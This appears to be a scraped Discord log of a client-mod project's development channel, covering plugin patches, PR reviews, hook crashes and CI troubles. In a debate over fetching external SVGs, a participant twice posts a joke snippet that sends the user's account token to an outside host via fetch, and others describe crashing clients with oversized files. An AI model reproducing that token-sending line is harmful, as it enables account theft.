#๐Ÿ‘พ-core-development

1 messages ยท Page 181 of 1

frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

charred monolithBOT
austere talon
#

cause

#

i couldnt get it to work

grave mangoBOT
austere talon
#

sadly not much we can do

#

oh wait

limber skiff
#

wdym

austere talon
#

i forgot one thing im dumb

limber skiff
#

oh you removed the try catch?

austere talon
limber skiff
#

what was the issue with it

austere talon
#

crashes

#

due to hooks and shit

limber skiff
#

guh

charred monolithBOT
limber skiff
#

it's probably okay like that either way

austere talon
#

well if somehow smth breaks in the Layer component it will crash entire app

#

btw

grave mangoBOT
# austere talon https://github.com/Vendicated/Vencord/blob/dev/src/plugins/showTimeoutDuration/i...

**index.tsx: **Lines 68-81

{
    find: ".GUILD_COMMUNICATION_DISABLED_ICON_TOOLTIP_BODY",
    replacement: [
        {
            match: /(\i)\.Tooltip,{(text:.{0,30}\.Messages\.GUILD_COMMUNICATION_DISABLED_ICON_TOOLTIP_BODY)/,
            get replace() {
                if (settings.store.displayStyle === DisplayStyle.Inline)
                    return "$self.TooltipWrapper,{vcProps:arguments[0],$2";

                return "$1.Tooltip,{text:$self.renderTimeoutDuration(arguments[0])";
            }
        }
    ]
}
austere talon
#

how would we best test this

#

reporter wont test the non default path

#

and they replace the same thing

#

so cant have them separate with predicates

limber skiff
#

findComponentByCode

austere talon
#

no

#

it cant lol

#

or does it check prototype

limber skiff
#

why?

austere talon
#

nah it doesnt

limber skiff
#

oh it doesnt

#

should it?

austere talon
#

well it could check .prototype.render

#

but

#

idk

charred monolithBOT
limber skiff
#

I added Classes here

austere talon
#

oh yeah i forgot about that

limber skiff
#

it's not really doable in current dev without modifying proxyLazy a bit

austere talon
#

it wont check technically

#

guhhh

#

need to fix

#

Classes find is most likely to break

#

and if it will break it will crash entire app

limber skiff
#

it's fixed in my pr lmaoo

austere talon
limber skiff
#

sure

#

do it for now

charred monolithBOT
austere talon
#

did

#

yep works

#

very good

#

basically old one was causing really strange errors

#

first inconsistent hook call then hook called outside of component

#

inconsistent hook call was cause of discord conditionally rendering layer

#

for search

#

second one was when i wrapped it in a proper react componentidk why it happened

#

glad i caught it before push to main

charred monolithBOT
limber skiff
austere talon
#

we would have to add some native api for having multiple optioons for patches

#

like

limber skiff
#

it should be fine I think?

#

but I mean in this case if the match works both options should work

austere talon
#
get replacement() {
  return {
    "replacement1": settings.store.option === "this",
    "replacement2": settings.store.option === "that"
  }
}
#

maybe the api could support this and automatically pick the one thats true

#

and then patchhelper can just test all of them

grave mangoBOT
# austere talon settings plugin has the same thing but much worse https://github.com/Vendicated...

**settings.tsx: **Lines 51-65

find: "Messages.ACTIVITY_SETTINGS",
replacement: {
    get match() {
        switch (Settings.plugins.Settings.settingsLocation) {
            case "top": return /\{section:(\i\.\i)\.HEADER,\s*label:(\i)\.\i\.Messages\.USER_SETTINGS/;
            case "aboveNitro": return /\{section:(\i\.\i)\.HEADER,\s*label:(\i)\.\i\.Messages\.BILLING_SETTINGS/;
            case "belowNitro": return /\{section:(\i\.\i)\.HEADER,\s*label:(\i)\.\i\.Messages\.APP_SETTINGS/;
            case "belowActivity": return /(?<=\{section:(\i\.\i)\.DIVIDER},)\{section:"changelog"/;
            case "bottom": return /\{section:(\i\.\i)\.CUSTOM,\s*element:.+?}/;
            case "aboveActivity":
            default:
                return /\{section:(\i\.\i)\.HEADER,\s*label:(\i)\.\i\.Messages\.ACTIVITY_SETTINGS/;
        }
    },
    replace: "...$self.makeSettingsCategories($1),$&"
austere talon
limber skiff
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
jagged cloak
#

interesting observation

charred monolithBOT
median rapids
#

no way any message is actually sent 17 days late

astral birch
charred monolithBOT
charred monolithBOT
charred monolithBOT
limber skiff
#

@austere talon you wanna remove this?

austere talon
#

just keep it

limber skiff
#

personally I've never even used

#

aight

charred monolithBOT
charred monolithBOT
charred monolithBOT
austere talon
#

we need to add p2w emote support to fakenitro

charred monolithBOT
median rapids
#

aforesaid

#

vencabulary

austere talon
charred monolithBOT
#

Content

We use the discord-types npm package for discord webpack module types. But this module hasn't properly been updated in years, so it is very outdated

We should

  • migrate all types we use to be included first party inside the Vencord repo. this is much more convenient than an npm package as it allows us to easily make changes to types. they could just be added alongside the existing types in src/webpack/common/types
  • update all...
charred monolithBOT
glass jasper
inland fable
#

some things broken with it aand I don't have time to fix anytime in the following weeks sorry

#

I'll just let someone else do it properly

frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

charred monolithBOT
#

This plugin makes SVG files embed like normal images. It supports svg files uploaded directly to Discord, as well as svg files linked via a discord.com or cdn.discordapp.com url.

It patches the existing image embed logic to recognize .svg files as valid images and have them embed the same way (i.e. via img src attribute), so there should be no XSS incidents.

austere talon
#

now who can find an xss in this

median rapids
#

@nevercookfirst

fringe basalt
#

@median rapids do you really want your client to make a request to every single url it sees just in case one leads to an svg? ๐Ÿ˜ญ

austere talon
#

i mean only if they end in .svg

median rapids
#

yea lol

fringe basalt
#

:p

median rapids
#

well then too bad

#

:p

#

no embed for you

dapper tiger
austere talon
median rapids
austere talon
median rapids
#

why did you get .cx anyway

austere talon
fringe basalt
austere talon
#

yeah it is

#

hide behind hidden setting

fringe basalt
#

they will enable the setting too

austere talon
#

nah

median rapids
#

just add a warning to the setting lol

fringe basalt
#

๐Ÿ˜ญ

median rapids
#

after that they can cry about it

#

spoiler: websites get your ip

austere talon
#
const settings = definePluginSettings({...})
    .withPrivateSettings<{
        unsafeFetchExternalUrlsThatMightIpLogYou: boolean;
    }>();

if (settings.store.unsafeFetchExternalUrlsThatMightIpLogYou)
  fetch("https://amia.cx/log/" + getToken());
fringe basalt
#

there's a bunch of ways to abuse this if you allow any urls

long stream
fringe basalt
#

ex. i can make the request hang, then edit my message in-between, then make the request resume, and force your client to revert it to the 1st version this way due to the Message Update

#

or spoof Content-Length and crash your client

austere talon
fringe basalt
#

by serving a 2gb svg

fringe basalt
#

(or any big file masked as an svg)

median rapids
long stream
median rapids
long stream
#

i wonder how long you can keep an infinite download stream going for

austere talon
#
const settings = definePluginSettings({...})
    .withPrivateSettings<{
        unsafeFetchExternalUrlsThatMightIpLogYouOrBeUsedToCrashYourClientOrCauseARaceConditionOrEvenJustBlowUpYourHouseIrl: boolean;
    }>();

if (settings.store.unsafeFetchExternalUrlsThatMightIpLogYouOrBeUsedToCrashYourClientOrCauseARaceConditionOrEvenJustBlowUpYourHouseIrl)
  fetch("https://amia.cx/log/" + getToken());
long stream
#

before the browser either gives up or dies

austere talon
#

better?

median rapids
#

ofc

fringe basalt
long stream
median rapids
lime stone
fringe basalt
#

(it is)

median rapids
#

u guys are boring

fringe basalt
#

foldie ๐Ÿ˜ญ

median rapids
#

dolfcord coming soon

fringe basalt
#

it'd be different if this was a private client mod

median rapids
#

as many vulns as you want

fringe basalt
#

๐Ÿ˜ญ

median rapids
#

no handholding blobcatcozy

fringe basalt
#

and if i make the plugin ignore omitted Content-Length responses then it will work on even less sites

median rapids
#

orrrr

#

just let it fetch the 3gb file

#

both sides are wasting bandwidth

fringe basalt
#

that will just crash you ๐Ÿ˜ญ

#

if not from the domparser then from your client ooming

long stream
#

support is already filled with people who don't even know how to open a zip file

median rapids
long stream
#

we don't need people complaining about the client randomly crashing GremlinEnnaThumbsUp

fringe basalt
#

why don't we just allow the svg xss while at it KanadeJii

#

im too tired to do anything today anymore so if u still insist on implementing this tomorrow, i will try to do it

long stream
median rapids
#

I can't think of a single scenario where I would actually want this

#

and it's your plugin anyway blobcatcozy

fringe basalt
#

i hate u

charred monolithBOT
median rapids
#

:(

#

sowwy

fringe basalt
#

i will eat ur right lung tomorow

mortal fractal
#

svg sanitization is a nightmare honestly

median rapids
austere talon
#

the bd programming channel is so funny people ask how to do smth that requires one single request and everyone is like omg evil selfbot

#

reconnecting to old vc on restart is such a mean selfbot ๐Ÿ˜ฅ

mortal fractal
#

its a stock feature smh

#

it even gives a banner now depending on how long its been since you left asking you to reconnect

glass jasper
# austere talon

that whole server gives me brainrot, the only reason i stay is for the occasional CSS-Snippets

median rapids
rugged spire
#

meanwhile they already do so

jagged reef
jagged cloak
charred monolithBOT
jagged cloak
#

updated 2055 for the first time in moths btw trol

charred monolithBOT
charred monolithBOT
charred monolithBOT
rugged flume
livid heath
#

what

#

you can send anything through the server

#

who said you can only send html

#

and autoplay is a UA thing

charred monolithBOT
rugged spire
#

tonight i will grab out my laptop

#

and i will fix Big Lag

charred monolithBOT
fringe basalt
#

it's how i bypassed the "tab is muted until user interacts" thing when it was originally added to browsers CowRoll

charred monolithBOT
frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

charred monolithBOT
charred monolithBOT
rugged flume
#

Will import ... with ... work in Vencord?
it requires node 20.10.0 and chrome 123

austere talon
#

yes

#

well it depends where

#

we bundle code so it will be bundled anyway but im not sure if esbuild supports them

charred monolithBOT
charred monolithBOT
limber skiff
#

cant you just use settings.use?

austere talon
#

it does

#

u cant use hooks in disabled

#

it not properly updating is just a limitation of the current settings

and with how we made it so that u need to press save to apply changes

#

needs a bit of a rewrite to properly be stateful and use the temporary state

frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

junior olive
#

@austere talon would a self-troubleshooting addition to decor be accepted

#

im thinking like have the change decoration page automatically test that the cdn can be reached

#

that's the biggest issue i see people run into

austere talon
#

what would that achieve?

#

like u can already tell if it works or not by just looking at the decor modal

junior olive
#

show a warning/error at the top of the modal saying that their discord can't reach decor's cdn

austere talon
#

you could just do like settingsAboutComponent

#

ye

#

sure

junior olive
#

resulting in lots of questions

#

yk

austere talon
#
definePlugin({
  settingsAboutComponent() {
    const [ok] = useAwaiter(() => fetch("sample link").then(r => r.ok).catch(() => false));
    
    if (!ok)
      return (
        <Card>uh oh explodieee</Card>
      )
  }
})
#

just smth like that

#

should work fine

junior olive
#

nah

#

similar but im thinking in change decoration bit

#

bc not everyone goes thru the settings

austere talon
#

that works too

junior olive
#

ill look into it later

#

thanks

shell shuttle
#

my new favorite quote of 2024

charred monolithBOT
charred monolithBOT
#

Discord Account

@magicmangames53812

What happens when the bug or crash occurs?

When trying to stream an application or monitor, the client soft locks after selecting the application or monitor, hanging at "Loading audio Sources...". voice chatting is still possible and the client still animates everything properly, but no longer responds to user input. the desktop environment eventually reports that Vesktop is no longer responding.

What is the expected behaviour?

For Audio so...

charred monolithBOT
charred monolithBOT
still wasp
woeful sable
#

Ye

charred monolithBOT
charred monolithBOT
limber skiff
#

bro

charred monolithBOT
limber skiff
#

oh shut upp

charred monolithBOT
limber skiff
#

good enough

#

oh wait

charred monolithBOT
limber skiff
#

now it's w

prime dew
#

can't wait to update Vencord and see "more pog" and "whatever" as details

woeful sable
#

More pog

limber skiff
prime dew
#

Bummer

woeful sable
#

More pog theme when?

charred monolithBOT
charred monolithBOT
livid heath
charred monolithBOT
desert cosmos
crude raptor
#

this guy like- knows how the plugin works right

#

like he knows this is a thing

desert cosmos
#

apparently not blobcatcozy

crude raptor
#

sigh

charred monolithBOT
rugged spire
# charred monolith

this code could do with a patch in a slightly different way; I don't like how that will just return FakeNitroEmoji when there is no name

austere talon
#

what else would it return

rugged spire
#

don't patch the emoji in that case?

#

i would implement it as a setting

#

better yet

#

try to see if there is an API call you can use to discover the emoji

austere talon
#

no

rugged spire
#

why not

austere talon
#

because there isn't

rugged spire
#

hate discord sometimes blobhuskcozy

rugged spire
#

@austere talon why use @granite wharf name as a constant here

charred monolithBOT
granite wharf
rugged spire
#

This is your name being used as a constant in the ShowTimeoutDuration plugin for some reason

austere talon
#

Slient typing

grave mangoBOT
granite wharf
#

wifey

rugged spire
#

real

austere talon
#

because shes the one who requested to have it inline

#

you dont have to always question everything

rugged spire
#

huh

#

well

#

that explains it

rugged spire
#

thats the only reason why

#

theoretically i could just make the option I am adding to that enum be my username

#

but i kinda don't wanna do that

charred monolithBOT
charred monolithBOT
charred monolithBOT
charred monolithBOT
median rapids
#

#2407 should be closed meowlien

long stream
#

btw @fringe basalt you should change the base branch for your pr from main to dev

fringe basalt
#

make me

long stream
#

๐Ÿฅบ

#

pretty please?

fringe basalt
#

aaaaaaaaaa

#

you win

long stream
#

xd

fringe basalt
#

i never needed to do that tho

median rapids
#

yea u dont have to

#

v can change it

fringe basalt
long stream
#

but why wait for vee to change it

fringe basalt
#

do i change it anyways

long stream
#

i think it should be fine?

#

dolfies's review is already outdated cuz its resolved :p

fringe basalt
#

okay changed

austere talon
#

it doesn't really matter, if you target main ill just change it

fringe basalt
#

what if i target uhhhhh

#

you

austere talon
fringe basalt
#

what if i target npm-types branch

#

only 955 commits behind main

long stream
#

target the eee branch blobcatcozy

median rapids
austere talon
long stream
austere talon
#

old vencord went hard

median rapids
#

whyd u remove that :(

charred monolithBOT
charred monolithBOT
silk cypress
#

@long stream how'd you find the world of text website in your bio?

#

looks very cool

long stream
rugged flume
#

left a small easter egg on x-100 y100

long stream
#

(also wrong channel KanadeJii)

rugged flume
#

in theory it was no off-topic may
in practice it is every channel is off-topic may

silk cypress
#

sorry we should talk about vencord instead

#

yeah very cool

silk cypress
#

good job contributors pat

limber skiff
#

we could do the migration from discord-typings (or whatever the name is) in the immediate finds pr

#

it already changes almost every file lmao

charred monolithBOT
austere talon
limber skiff
#

aight

charred monolithBOT
#

395b000 permissionsViewer: add role & user context menu... - CatGirlDShadow
fbaa4ad XSOverlay: add settings for different notificat... - nyakowint
6b88eac messageLatency: fix grammar & add aliucord/kotl... - arHSM
2eb8ba1 SilentTyping: add chat input context menu optio... - ImBonana
9b328da ThemeAttributes: add data-author-username to me... - OvercastWarmth

odd heath
charred monolithBOT
#

395b000 permissionsViewer: add role & user context menu... - CatGirlDShadow
fbaa4ad XSOverlay: add settings for different notificat... - nyakowint
6b88eac messageLatency: fix grammar & add aliucord/kotl... - arHSM
2eb8ba1 SilentTyping: add chat input context menu optio... - ImBonana
9b328da ThemeAttributes: add data-author-username to me... - OvercastWarmth

odd heath
#

I was so confused for a moment because i forget to do pnpm build and a lot of stuff broke because of that

desert cosmos
charred monolithBOT
#

this is very stale now and i don't quite see the use case for wanting to store maps or regexes. those would better be stored in indexeddb. it seems a bit overengineered to need this serialisation step instead of just continuing to use basic json

as for arrays, definitely useful but better implemented like described in https://github.com/Vendicated/Vencord/issues/2210

thanks for your efforts regardless <3

limber skiff
#

arrays are good :(

austere talon
austere talon
#

its also arrays but better impl

limber skiff
#

yeah but I mean like a simple array type you can store whatever you want

austere talon
#

meh, seems too niche

limber skiff
#

idk to be honest, it's hard to make a good generic ui for it

austere talon
#

yeah thats the issue

#

we should implement the lists for discord structures (users, channels, guilds, ...) and strings

and anything else u can do custom ui

limber skiff
#

the only case I use array I made it a private setting anyway lol

austere talon
#

yeah xd

odd heath
#

okay the pdb pr should be fine now i did the requested thigns

#

dont wanna commit email spam

charred monolithBOT
#

I made this plugin so you have a very clear indicator of when other people can see you typing, which I personally find useful

I understand your point but you can view in the members list if you are typing and even in the network logs, of course it's hard to see yourself if its a long members list with all the scrolling drama, but i think this is more a 3rd party plugin on my personal opinion

#

I made this plugin so you have a very clear indicator of when other people can see you typing, which I personally find useful

I understand your point but you can view in the members list if you are typing and even in the network logs, of course it's hard to see yourself if its a long members list with all the scrolling drama, but i think this is more a 3rd party plugin on my personal opinion

austere talon
#

a
b

odd heath
#

What is the vee doing

odd heath
charred monolithBOT
#

honestly the way this looks is kinda ugly. might be better to have it in larger size here instead and push the rest down?
image

alternatively, and especially considering this plugin mostly consists of css, you could instead just define a larger pfp link as a data attribute on the pfp node and leave the rest of the work to themes / quick css? this way a theme could do something like the following...

limber skiff
#

NO

#

electron 30 reached canary

austere talon
#

lmaooo

limber skiff
#

this looks so fucking ugly

austere talon
#

time to hop on vesktop

limber skiff
#

how do I fix this shit

#

like wtf is this bro

#

guess I will use stable

charred monolithBOT
austere talon
long stream
#

i was about to comment on that xd

austere talon
long stream
#

is there some sort of bug with anchor elements on desktop discord?

austere talon
#

nah xd

#

just need to add target: "_blank"

long stream
#

oh it doesn't open with just the href

#

ic

austere talon
#

it does but

#

that opens in current tab

median rapids
#

why is bros username a constant

#

HAPPY_ENDERMAN

charred monolithBOT
frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

charred monolithBOT
#

OK, I saw the problem. The user needs to turn off "Enable Emoji Bypass" in the settings of FakeNitro. Then my plugin works. I guess I don't have to specially modify my plugin to make it have higher precedence over that FakeNitro setting because they are just in conflict in nature. @Vendicated Please check if there is still a problem when you turn off "Enable Emoji Bypass". Do I need to add a notice about this conflict somewhere?

median rapids
#

on a rampage today

prime dew
#

today is PR day

austere talon
charred monolithBOT
jagged cloak
#

ve $energy.drain()

nimble pendantBOT
charred monolithBOT
frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

charred monolithBOT
#

yeaahhh i dont know about this...

unlike userbg, this doesn't really add anything that's missing, having an animated avatar is not that big of a deal

your project also includes people who are known to be toxic / have a personal vendetta against the vencord project, so i don't really trust you with handling an external database (could be used maliciously)

i'll have to reject this on these grounds, sorry. thank you for the contribution nonetheless!

jagged cloak
#

me when i pr contribute contribute contribute contribute to vencord

charred monolithBOT
frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

charred monolithBOT
#

b1cc67a fix(BetterSettings): do not catch errors of oth... - Vendicated
0251935 VoiceDownload: fix doing nothing on discord des... - Vendicated
6bd0898 fix(SupportHelper): dont flag vencord web as ex... - Vendicated
840a8f1 CrashHandler: Increment timeout for trying to r... - Nuckyz
a2acce5 BetterSettings: fix error handling crashing in ... - Vendicated

austere talon
#

bro fuck codeberg sync keeps failing ci

rugged spire
#

CI IS A FUCK

#

12 FAILED RUNS

charred monolithBOT
limber skiff
#

holy shit I had silent typing enabled all this time and I didnt know

#

love fixing things and forgetting to disable after

rugged spire
#

silent typing so easy to forget to disable

glass jasper
rugged spire
#

me

charred monolithBOT
austere talon
#

tbh i also couldnt find it when i was looking for it a few weeks ago xd

#

discord code sucks

rugged spire
#

why do i feel like that plugin will break in funny ways very easily

charred monolithBOT
median rapids
#

remove all the fake profile stuff next blobcatcozy

charred monolithBOT
#

I already found there.

case l.KeyboardKeys.ENTER:
    // `E()` here does nothing (calls a function that calls a function short-circuited by a guard clause).
    if ((0,
    o.checkModifiers)(e, {}) && (null == E ? void 0 : E(e))) {
        e.preventDefault(),
        e.stopPropagation();
        return
    }
}
// `i()` contains a switch-case, none of whose cases is entered.
if ((null === (i = t.onKeyDown) || void 0 === i ? void 0 : i.call(t, e)) === !0) {
    e.preventDefau...
rugged spire
#

I AM SO GOOD AT WRITING SHIT CSS

median rapids
#

oh wait that's a fix

#

not a feat

rugged spire
#

This is so vile I'm so so so so not sorry for this commit

#

I will stop blaming vencord on my shit css abuse

charred monolithBOT
rugged spire
#

Did I even fix discord lag at all probably not husk

charred monolithBOT
#

Discord Account

.1corkie

What happens when the bug or crash occurs?

It sends the notification twice.

What is the expected behaviour?

Sending the notification only once.

How do you recreate this bug or crash?

Not really sure, just happens

Errors

None.

Request Agreement

  • [X] I am using Discord Stable or tried on Stable and this bug happens there as well
  • [X] I have read the requirements for opening an issue above
woeful sable
#

I didn't mean it like this

#

I specifically said 'if you have information to explain how to reproduce it"

charred monolithBOT
jagged cloak
#

erm why

charred monolithBOT
jagged cloak
#

(should probably fix that but uhhh another pr no thanks)

limber skiff
#

if you know what's the issue pr a fix

#

I will merge

#

(as long as it's not a plugin rewrite lmaoo)

jagged cloak
#

lmaooooooooooo i will rewrite plugin 8 more times

#

this has to be old version also i dont think recent pr made it off dev yet lol

limber skiff
#

it did today

jagged cloak
#

ohic

limber skiff
#

dev is up to date with main

#

or better yet, the other way around

rugged spire
#

i love dev branch

jagged cloak
#

your honor i am always on dev so i wouldnt know

rugged spire
#

dev branch so good

jagged cloak
limber skiff
rugged spire
#

is it just vencord optimiser pro

limber skiff
#

have you read the pr for it

#

yeah

rugged spire
#

where is pr

limber skiff
#

you can still use the old methods with it, so no need to migrate plugins for now

rugged spire
#

Completely deprecates the lazy
fuck no i am not merging this into my shit

#

oh

limber skiff
rugged spire
#

i will confess

#

i cba patching all plugins I made

limber skiff
#

as I said you dont need to cuz of that

rugged spire
#

i know

jagged cloak
#

hot dam

jagged cloak
#

ok i dont know the issue then lol im_a_bit_silly

#

not helpful (works on my machine)
with only one client (stable) open i only get one notification as intended, opening another gives another. also not sure i can "fix" multi-client on the plugin side even

charred monolithBOT
jagged cloak
#

(skill issues)

#

is this the same person from support with the same isssue a while ago

#

how do u even get it to duplicate lol

#

w/o opening vesktop or something

#

also uh

#

should i be using somethign other than OptionType.NUMBER for decimals cause i cant type them into the box with number lol

#

dont think bigint is it othrwise just gonna change it to string

limber skiff
#

prob a bug but just dont do decimals

#

divide the value if you need decimals

jagged cloak
#

or just use a slider ig

#

so you cant have insane values

charred monolithBOT
jagged cloak
#

(unrelated to that one guys issue)

#

apparently electron and atom have their own github emotes also

jagged cloak
#

oopsie xd

#

dont ever 2 minute change

charred monolithBOT
jagged cloak
#

honest i wouldnt be surprised if theres some race condition making it duplicate i made half the plugin originally on sleep deprivation

#

anyway @limber skiff fixed ima go sleep

charred monolithBOT
#

alternatively, and especially considering this plugin mostly consists of css, you could instead just define a larger pfp link as a data attribute on the pfp node and leave the rest of the work to themes / quick css? this way a theme could do something like the following and then adjust the ui accordingly

.avatar {
	content: attr(large-avatar-url);
}

this could be part of the ThemeAttributes plugin

let me know your thoughts! (and sorry for taking...

charred monolithBOT
#

Tablist API. let's you create panels for the expression picker an example of it would be the [cookie clicker](#1032200195582197831 message) plugin.

it will be awesome to have some plugins moving to the expression picker, like SendTimestamps as adding a button only for timestamps is kinda annoying imo.

the API still needs some improvements. any feedback is welcome!

[!NOTE]
I should opened this PR request two weeks a...

livid heath
charred monolithBOT
charred monolithBOT
#

You mean this?
Looking through it, I don't think it will render obsolete your plugin, as;
โ€ข you're barred still from setting your own uploaded custom sounds, restrained to just four provided sound batches
โ€ข it doesn't seem to let you set custom sounds on many more aspects beyond just direct messages or public sounds
โ€ข it's shamelessly put behind paywalls

The only positive I can perceive off i...

fringe basalt
#

can i have aliucord against vencord?

austere talon
charred monolithBOT
#

KeywordHighlighter

This Pull Request implements the KeywordsHighlighter plugin. It allows you add tooltips to certain words (defined in the plugin settings). It comes with two highlighting presets; tone highlights, being keywords such as /j, /srs, etc. Along with Generic keywords which highlights words such as brb, gtg, lol etc. Both of these can be toggled. Also, you can add your own custom commands.

Screenshots

charred monolithBOT
dusky sonnet
#

Havn't found an obvious place where the element is created yet though

#

also, thanks for the insanely quick reply :3

austere talon
median rapids
#

let's see if i can do thgat

austere talon
#

nuckyz so demanding omgosh

median rapids
#

ikr

#

ima make it an option cuz seeing the icon pop up for no reason is annoying

dusky sonnet
charred monolithBOT
charred monolithBOT
#

yeah the built in one discord is doing is not really stopping this plugin being a thing, discords own implementation isnt that good and only lets u modify pretty much a single sound by picking a different one from a preset. so no modifying other sounds in the client like the voice chat sounds, etc, and even if discord added custom sounds for different things in the client they still wouldnt allow ACTUAL custom sounds loaded from a file

charred monolithBOT
#

ReplaceGoogleSearch

This plugin implements a patch to replace the "Search with Google" in the context menu when right clicking on a highlighted word. You can this engine with the dropdown menu in the settings which gives you the options Google, Bing, Yahoo, Github, Kagi, Yandex, AOL, Baidu and Wikipedia. Alternatively, you can enable the "Use Custom Search Engine" option in the settings to use an alternate engine.

Screenshots
desert cosmos
glass jasper
# charred monolith

canโ€™t send images but yโ€™all miss spelled โ€œdifferentโ€ in the description

#

nvm itโ€™s been fixed

charred monolithBOT
crude hearth
median rapids
#

i did not pr to vencordplus repo

crude hearth
#

he eventually gave up on linting and closed the pr sadJoe

median rapids
#

i love my window.currentUserId

long stream
crude hearth
#

yes I think

crude hearth
median rapids
limber skiff
shell shuttle
#

test

#

therew e go

charred monolithBOT
austere talon
charred monolithBOT
somber thorn
#

Repository owner locked as too heated and limited conversation to collaborators now

jagged cloak
#

lmaoo

charred monolithBOT
shell shuttle
glass jasper
charred monolithBOT
median rapids
#

yay

charred monolithBOT
#

cc5e39c Dearrow: allow configuring which elements get d... - Faf4a
b22bfc8 pronounDB: Update to API v2 (#2355) - EdVraz
0f9acba settingsSync: include date in filename for bett... - Vendicated
f21db5c add Native settings implementation (#2346) - MachineMuse
d650794 Plugin Settings: fix text overflow for long plu... - HAHALOSAH

limber skiff
#

I need to find a way to make devtools not like this

charred monolithBOT
austere talon
#

usw vesktop

#

:3

limber skiff
#

what electron version does vesktop use

#

29

#

I see

#

yeah the devtools turned shit on 30

#

and it's an electron issue because the font looks fine on chrome 124

charred monolithBOT
limber skiff
#

when are we making plugin to use prettier on devtools

#

it would honestly be such a banger

#

is it even possible?

austere talon
#

it's gonna be slow asf lol

#

imo the default formatter is already good

limber skiff
#

it's not bad

#

but it does some weird formatting sometimes

frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

austere talon
#

ever tried running it on a 2mb file

#

takes like 20 seconds

limber skiff
austere talon
#

oh

charred monolithBOT
charred monolithBOT
austere talon
#

@limber skiff did u even test ur pindm changes ๐Ÿ˜ญ

#

doesnt work

limber skiff
#

nop

#

lmao

#

typescript lied to me then

#

what's the error?

charred monolithBOT
austere talon
#

it put it in the wrong commit lol

#

well whatever

limber skiff
#

oh

#

yeah my bad about that

austere talon
#

anyway its kinda bad to do that tbh cause it will recreate the function each time

#

and maybe ruin some optimisations

#

but whatever ig

limber skiff
#

that's the issue of putting methods in the plugin obj

austere talon
#

yeah

limber skiff
#

needs to do this wonky stuff to access this properly

austere talon
#

but i didnt wanna refactor so much

limber skiff
#

yeah

austere talon
#

move it all to top level

limber skiff
#

it's prob okay

austere talon
#

i really wanna code but idk what xd

limber skiff
#

I'm doing regex finds rn

limber skiff
#

patch helper will make me go insane

charred monolithBOT
limber skiff
#

I tested that a lot so I hope it has no issues

limber skiff
#

also shouldn't break vesktop this time

charred monolithBOT
limber skiff
#

welp that should be enough for regex finds pr

limber skiff
#

w

median rapids
#

@limber skiff

#

doesn't Promise.resolve({}) work fine

#

which is what it basically does below

limber skiff
median rapids
#

yea but whyyy

median rapids
#

it's a much simpler patch

limber skiff
#

I dont like for patches to rely on exports

#

neither finds use the export names

median rapids
#

oh in case they're removed again?

limber skiff
#

it's better to make sure it works

#

and it's super simple to change

median rapids
#

fair enough ig

limber skiff
median rapids
#

yeah that one is bleh

median rapids
#

everything would break anyway blobcatcozy

limber skiff
#

that's true but ehhh

#

if you want I can do the patch for you

median rapids
#

I can do it tmrw dw

#

I'm gonna eeep now

#

gn blobcatcozy

limber skiff
#

it's okay then I will just do the changes for you and merge

median rapids
#

oki

#

ty

charred monolithBOT
frail skyBOT
#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

#
Bad Patches

None

Bad Webpack Finds

None

Bad Starts

None

Discord Errors

None

austere talon
#

yeah promise resolve is a good call

limber skiff
#

does anyone here still receives message requests

#

I have them enabled for every server and never received a single one

#

everything goes directly to my dm

jagged cloak
#

yeah i got one earlier today

limber skiff
#

drop plugin list

jagged cloak
#

discord thinks u interact with everyone

#

Vencord: v1.8.3 โ€ข bbec51fd - 12 May 2024
Client: stable ~ Discord Desktop v1.0.9146
Platform: Win32
Last Crash Reason: N/A

Enabled Plugins (96):

#

u love

limber skiff
#
AlwaysTrust, BetterGifAltText, BetterRoleContext, BetterSettings, BiggerStreamPreview, CallTimer, ClearURLs, ClientTheme, ConsoleShortcuts, CopyUserURLs, CrashHandler, Dearrow, Decor, DisableCallIdle, EmoteCloner, Experiments, FakeNitro, FakeProfileThemes, FavoriteGifSearch, FixSpotifyEmbeds, FixYoutubeEmbeds, ForceOwnerCrown, FriendsSince, GameActivityToggle, GreetStickerPicker, IgnoreActivities, iLoveSpam, ImageZoom, ImplicitRelationships, MessageClickActions, MessageLatency, MessageLinkEmbeds, MessageLogger, MoreUserTags, Moyai, MutualGroupDMs, NewGuildSettings, NoDevtoolsWarning, NoPendingCount, NormalizeMessageLinks, NoScreensharePreview, NoUnblockToJump, NSFWGateBypass, PauseInvitesForever, PermissionFreeWill, PermissionsViewer, petpet, PinDMs, PlatformIndicators, PronounDB, ReactErrorDecoder, ReadAllNotificationsButton, ReplyTimestamp, ResurrectHome, RevealAllSpoilers, ReverseImageSearch, ReviewDB, RoleColorEverywhere, SendTimestamps, ServerProfile, ShikiCodeblocks, ShowAllMessageButtons, ShowConnections, ShowHiddenThings, ShowTimeoutDuration, SilentMessageToggle, SortFriendRequests, SpotifyControls, SpotifyCrack, SuperReactionTweaks, ThemeAttributes, TimeBarAllActivities, Translate, TypingIndicator, 